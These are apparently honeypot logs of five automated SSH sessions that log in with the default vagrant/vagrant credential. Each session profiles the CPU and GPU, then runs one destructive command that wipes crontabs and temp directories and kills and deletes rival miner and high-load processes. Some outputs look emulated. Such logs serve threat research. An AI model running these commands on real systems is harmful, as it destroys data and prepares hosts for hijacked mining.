{"id":"419eda35-192a-4f75-9fa5-2410a0b98205","name":"icy-vaulted-shearwater","protocol":"ssh","channel_kind":"exec","src_ip":"77.239.124.249","src_port":40900,"username":"vagrant","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":808,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T12:09:39.685306+00:00","ended_at":"2026-08-26T12:09:50.033522+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1660,"events":[{"seq":1,"at":"2026-08-26T12:08:30.043648+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T12:08:34.619150+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T12:08:35.208956+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T12:08:39.673364+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T12:08:40.939990+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T12:08:45.339044+00:00","kind":"output","latency_ms":null,"data":"6 days,  8:58"},{"seq":7,"at":"2026-08-26T12:08:46.481488+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T12:08:50.420764+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T12:08:50.804302+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T12:08:56.639665+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T12:08:57.894292+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T12:09:01.277735+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T12:09:02.028071+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T12:09:04.935741+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T12:09:05.667030+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T12:09:10.411276+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T12:09:11.219783+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T12:09:15.228395+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T12:09:16.521882+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T12:09:21.205837+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T12:09:22.043125+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T12:09:27.579403+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T12:09:28.238156+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T12:09:33.651032+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T12:09:33.861266+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T12:09:39.686012+00:00","kind":"input","latency_ms":null,"data":"echo vagrant > /tmp/d.log"}],"credentials":[{"username":"vagrant","password":"vagrant","method":"password","accepted":true,"tier":"other"}]}
{"id":"ee2b45d5-9246-4cc2-a535-1540351b06c2","name":"wry-patient-owl","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.200","src_port":39058,"username":"vagrant","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":225,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T05:44:42.644612+00:00","ended_at":"2026-08-26T05:44:49.514002+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1660,"events":[{"seq":1,"at":"2026-08-26T05:43:46.581817+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T05:43:50.926109+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T05:43:51.166899+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T05:43:54.945723+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T05:43:55.131855+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T05:43:59.183947+00:00","kind":"output","latency_ms":null,"data":"6 days,  2:34"},{"seq":7,"at":"2026-08-26T05:43:59.414265+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T05:44:04.134164+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T05:44:04.465707+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T05:44:08.089066+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T05:44:08.570792+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T05:44:11.587034+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T05:44:11.780529+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T05:44:17.055878+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T05:44:17.258154+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T05:44:21.159304+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T05:44:21.383843+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T05:44:25.394550+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T05:44:25.608816+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T05:44:28.944526+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T05:44:29.146155+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T05:44:33.498492+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T05:44:33.674871+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T05:44:37.350240+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T05:44:37.643390+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T05:44:42.645563+00:00","kind":"input","latency_ms":null,"data":"echo vagrant > /tmp/d.log"}],"credentials":[{"username":"vagrant","password":"vagrant","method":"password","accepted":true,"tier":"other"}]}
{"id":"eed284cc-1f8c-4db8-9416-1df607387958","name":"grassy-dusky-cuckoo","protocol":"ssh","channel_kind":"exec","src_ip":"45.153.34.165","src_port":47182,"username":"vagrant","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":232,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T02:22:34.707124+00:00","ended_at":"2026-08-25T02:22:42.509423+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1660,"events":[{"seq":1,"at":"2026-08-25T02:21:30.799166+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T02:21:34.172387+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T02:21:34.405178+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-25T02:21:37.896626+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-25T02:21:38.112897+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-25T02:21:43.927346+00:00","kind":"output","latency_ms":null,"data":"4 days, 23:11"},{"seq":7,"at":"2026-08-25T02:21:44.096371+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-25T02:21:49.337628+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-25T02:21:49.508628+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-25T02:21:55.353586+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-25T02:21:55.595107+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-25T02:21:58.797095+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-25T02:21:58.994922+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-25T02:22:04.155453+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-25T02:22:04.402290+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T02:22:10.359997+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T02:22:10.598292+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T02:22:13.957520+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-25T02:22:14.201915+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-25T02:22:19.546730+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-25T02:22:19.713431+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-25T02:22:24.389501+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-25T02:22:24.595387+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-25T02:22:29.561874+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-25T02:22:29.822214+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-25T02:22:34.708019+00:00","kind":"input","latency_ms":null,"data":"echo vagrant > /tmp/d.log"}],"credentials":[{"username":"vagrant","password":"vagrant","method":"password","accepted":true,"tier":"other"}]}
{"id":"bb6ecd1b-9659-4b75-941d-16c8bb1a38ac","name":"subtle-sincere-springbok","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.11","src_port":45002,"username":"vagrant","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":221,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-24T09:27:49.637309+00:00","ended_at":"2026-08-24T09:27:55.018548+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1660,"events":[{"seq":1,"at":"2026-08-24T09:26:56.193049+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-24T09:27:00.518144+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-24T09:27:00.739830+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-24T09:27:05.559510+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-24T09:27:05.985869+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-24T09:27:09.437749+00:00","kind":"output","latency_ms":null,"data":"4 days,  6:17"},{"seq":7,"at":"2026-08-24T09:27:09.630573+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-24T09:27:14.010408+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-24T09:27:14.296698+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-24T09:27:19.672238+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-24T09:27:19.916197+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-24T09:27:23.290686+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-24T09:27:23.487761+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-24T09:27:27.049746+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-24T09:27:27.238863+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-24T09:27:31.051286+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-24T09:27:31.222130+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-24T09:27:34.576751+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-24T09:27:34.797670+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-24T09:27:37.697900+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-24T09:27:37.909891+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-24T09:27:40.749932+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-24T09:27:40.926500+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-24T09:27:46.568614+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-24T09:27:46.797538+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-24T09:27:49.638091+00:00","kind":"input","latency_ms":null,"data":"echo vagrant > /tmp/d.log"}],"credentials":[{"username":"vagrant","password":"vagrant","method":"password","accepted":true,"tier":"other"}]}
{"id":"2981c699-f584-4824-87dd-b52406c499a5","name":"brazen-austere-onager","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.120","src_port":56858,"username":"vagrant","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":349,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-22T12:20:19.789676+00:00","ended_at":"2026-08-22T12:20:26.785254+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1660,"events":[{"seq":1,"at":"2026-08-22T12:19:17.237752+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-22T12:19:22.893857+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-22T12:19:23.146956+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-22T12:19:26.294706+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-22T12:19:27.138527+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-22T12:19:32.326380+00:00","kind":"output","latency_ms":null,"data":"2 days,  9:09"},{"seq":7,"at":"2026-08-22T12:19:32.945873+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-22T12:19:38.637549+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-22T12:19:39.378172+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-22T12:19:45.287896+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-22T12:19:45.453458+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-22T12:19:50.666608+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-22T12:19:50.861208+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-22T12:19:54.613887+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-22T12:19:54.972262+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-22T12:19:58.633933+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-22T12:19:59.288047+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-22T12:20:03.111872+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-22T12:20:03.411735+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-22T12:20:06.538558+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-22T12:20:06.723838+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-22T12:20:10.477593+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-22T12:20:10.682759+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-22T12:20:15.813749+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-22T12:20:16.164038+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-22T12:20:19.790750+00:00","kind":"input","latency_ms":null,"data":"echo vagrant > /tmp/d.log"}],"credentials":[{"username":"vagrant","password":"vagrant","method":"password","accepted":true,"tier":"other"}]}
